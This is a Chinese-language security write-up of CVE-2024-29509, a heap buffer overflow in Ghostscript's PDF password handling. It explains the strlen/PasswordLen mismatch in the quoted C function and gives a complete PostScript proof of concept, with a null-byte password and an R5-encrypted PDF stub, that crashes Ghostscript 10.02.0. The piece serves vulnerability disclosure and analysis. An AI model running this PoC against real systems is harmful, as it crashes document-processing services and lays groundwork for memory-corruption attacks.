CVE-2024-29509:Artifex Ghostscript PDFPassword 处理期间的堆缓冲区溢出 _

CVE-2024-29509:Artifex Ghostscript PDFPassword 处理期间的堆缓冲区溢出 _

Ots安全 2025-02-12 11:54

目标
– Ghostscript < 10.03.0

解释

PDFPassword
Ghostscript 提供 PDF 解密功能,使用字符串
解密加密的 PDF 文档。具体来说,
当使用R5(RC4 128 位加密)
check_password_R5(…)
时会调用该函数, 
R5 是 PDF 标准中定义的几种加密方法之一。

static int check_password_R5(pdf_context *ctx, char *Password, int PasswordLen, int KeyLen){
    int code;

    if (PasswordLen != 0) {
        pdf_string *P = NULL, *P_UTF8 = NULL;

        code = check_user_password_R5(ctx, Password, PasswordLen, KeyLen);
        if (code >= 0)
            return 0;

        code = check_owner_password_R5(ctx, Password, PasswordLen, KeyLen);
        if (code >= 0)
            return 0;

        /* If the supplied Password fails as the user *and* owner password, maybe its in         * the locale, not UTF-8, try converting to UTF-8         */
        code = pdfi_object_alloc(ctx, PDF_STRING, strlen(ctx->encryption.Password), (pdf_obj **)&P);
        if (code < 0)
            return code;
        memcpy(P->data, Password, PasswordLen);
        pdfi_countup(P);
        code = locale_to_utf8(ctx, P, &P_UTF8);
        if (code < 0) {
            pdfi_countdown(P);
            return code;
        }
        code = check_user_password_R5(ctx, (char *)P_UTF8->data, P_UTF8->length, KeyLen);
        if (code >= 0) {
            pdfi_countdown(P);
            pdfi_countdown(P_UTF8);
            return code;
        }

        code = check_owner_password_R5(ctx, (char *)P_UTF8->data, P_UTF8->length, KeyLen);
        pdfi_countdown(P);
        pdfi_countdown(P_UTF8);
        if (code >= 0)
            return code;
    }
    code = check_user_password_R5(ctx, (char *)"", 0, KeyLen);
    if (code >= 0)
        return 0;

    return check_owner_password_R5(ctx, (char *)"", 0, KeyLen);
}

该check_password_R5(…)
函数PDFPassword
根据用户和所有者密码检查输入,如果失败,则尝试将其转换为 UTF-8。

在此过程中引入了一个漏洞。
1. 密码验证失败后,尝试转换为UTF-8

  1. 如果第一次输入的密码不正确,则会将其转换为 UTF-8 进行第二次尝试。

  2. 此时,在调用该函数之前,locale_to_utf8(…)
    密码被放入新分配的缓冲区中memcpy(…)

  3. 出现分配大小(strlen(…))和复制大小(PasswordLen)不匹配的问题。

  4. PasswordLen
    是PDFPassword
    PostScript 字符串的实际大小。

  5. PostScript 字符串可以包含空字节,并且它们的大小
    是单独存储的。

  6. strlen(…)
    当遇到第一个空字节时,它会确定字符串的长度

  7. 分配大小
    :strlen(ctx->encryption.Password)

  8. 要复制的尺寸
    :PasswordLen

  9. 复制的数据多于缓冲区大小,导致堆缓冲区溢出。

  10. 如果 PostScript 字符串包含空字节
    ,strlen(…)
    则可能无法正确计算实际长度,并且分配的缓冲区大小
    可能太小。

  11. 从(实际密码大小)复制memcpy(…)
    时,由于复制的数据超出了缓冲区大小,因此可能会发生堆缓冲区溢出。PasswordLen

以下是根据所保存的数据做出的解释:
1. \000
在 PostScript 中编码空字节。

/PDFPassword (hello\000world)def
  1. 它是一个长度为 11 的 PostScript 字符串,strlen
    但被认为长度为 5。

  2. 即memcpy
    如下。

// char[5] "hello\000world" 11
memcpy(P->data, Password, PasswordLen);

因此,在 PostScript 代码中PDFPassword
,设置为“hello\000world”
,这是一个长度为 11 的 PostScript 字符串,strlen(…)
但遇到第一个空字节则返回 5。结果,由于11 个字节的数据被复制到分配大小为 5 个字节的缓冲区中,因此发生了缓冲区溢出

概念证明

触发漏洞的 poc 代码, 用PostScript
编写。

1. 创建导致漏洞的 PDF 文件

/Payload (%PDF-1.7
1 0 obj << /CF << /StdCF << /AuthEvent /DocOpen /CFM /AESV3 /Length 32 >> >>
/Filter /Standard /Length 256
/O <bdc7906c8e8074c880ac23065956c0db6a83d234a942d296364d065edf800b8e32a728ba6916718fbeb70e071a4a33ba>
/OE <7c88773da067c026cc58b5204106d54e320d509ab1d10ac3251f7a14e60d6970>
/P -1028 /Perms <1b6bd44c023964a469d801f598c8d5c4> /R 5 /StmF /StdCF /StrF /StdCF
/U <338dc89fb4a90d45cacf91298759e015a6fb0d3f132af0e6970a0079af12054554e7ab059c5392f9abce8a329b2b154b>
/UE <0d8b18de820855c5855de2560a81db57bb4674946bdf2b25eb6b901386492bd7> /V 5 >>
endobj xref 0 1 0000000000 65535 f 0000000009 00000 n trailer << /Encrypt 1 0 R >> startxref 0) def
  • 上述代码是在 PostScript 中生成 PDF 文件
    的简单部分。

  • 指定PDF 的加密版本(R 5)
    并使用 AES 加密创建文档。

  • 该文件本身并不是完整的 PDF,但其结构使得解密逻辑可以触及

2. 将 PDF 数据保存到文件

/OutFile (/tmp/out) (w) file def
OutFile Payload writestring
OutFile closefile
  • 这是将生成的 PDF 数据/tmp/out
    保存到文件的部分。

  • 当 Ghostscript 运行时,它负责告诉它解释这个文件。

3.设置密码(漏洞触发器)

/PDFPassword (hello\000BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB) def
  • PDFPassword
    这是设置为特定字符串
    的部分。

  • “hello\000BBBB…”
    用作您的密码。

  • hello\000
    →”hello”
    末尾包含一个 NULL 字节 ( \000)

  • BBBB…
    数据大于缓冲区大小
    (漏洞触发)

  • 然后,该值在 PDF 解释过程中check_password_R5(…)传递给函数

4. 运行 Ghostscript PDF 解析器(漏洞触发器)

(/tmp/out) (r) file runpdf
  • /tmp/out
    命令 Ghostscript 运行以形式保存的PDF 文件。

  • 在这个过程中,解密逻辑被执行,从而出现漏洞

5. 运行 PoC 和完整代码
– 运行 PoC

$ ghostscript -dNODISPLAY poc.ps
GPL Ghostscript 10.02.0 (2023-09-13)
Copyright (C) 2023 Artifex Software, Inc. All rights reserved.
This software is supplied under the GNU AGPLv3 and comes with NO WARRANTY:
see the file COPYING for details.
zsh: segmentation fault (core dumped) ghostscript -dNODISPLAY poc.ps
  • 完整 PoC 代码
% Simple PDF with R5 encryption.
% This is not a very valid PDF but we only need to reach the decryption logic
/Payload (%PDF-1.7
1 0 obj << /CF << /StdCF << /AuthEvent /DocOpen /CFM /AESV3 /Length 32 >> >>
/Filter /Standard /Length 256
/O <bdc7906c8e8074c880ac23065956c0db6a83d234a942d296364d065edf800b8e32a728ba6916718fbeb70e071a4a33ba>
/OE <7c88773da067c026cc58b5204106d54e320d509ab1d10ac3251f7a14e60d6970>
/P -1028 /Perms <1b6bd44c023964a469d801f598c8d5c4> /R 5 /StmF /StdCF /StrF /StdCF
/U <338dc89fb4a90d45cacf91298759e015a6fb0d3f132af0e6970a0079af12054554e7ab059c5392f9abce8a329b2b154b>
/UE <0d8b18de820855c5855de2560a81db57bb4674946bdf2b25eb6b901386492bd7> /V 5 >>
endobj xref 0 1 0000000000 65535 f 0000000009 00000 n trailer << /Encrypt 1 0 R >> startxref 0) def

% Write the PDF data to a temporary file
/OutFile (/tmp/out) (w) file def
OutFile Payload writestring
OutFile closefile

% Set the PDFPassword to a buffer whose length is larger than its strlen
/PDFPassword (hello\000BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB) def

% Run the PDF interpreter on the file
(/tmp/out) (r) file runpdf

% 종료
showpage
quit

参考
– https://nvd.nist.gov/vuln/detail/CVE-2024-29509

感谢您抽出

.

.

来阅读本文

点它,分享点赞在看都在这里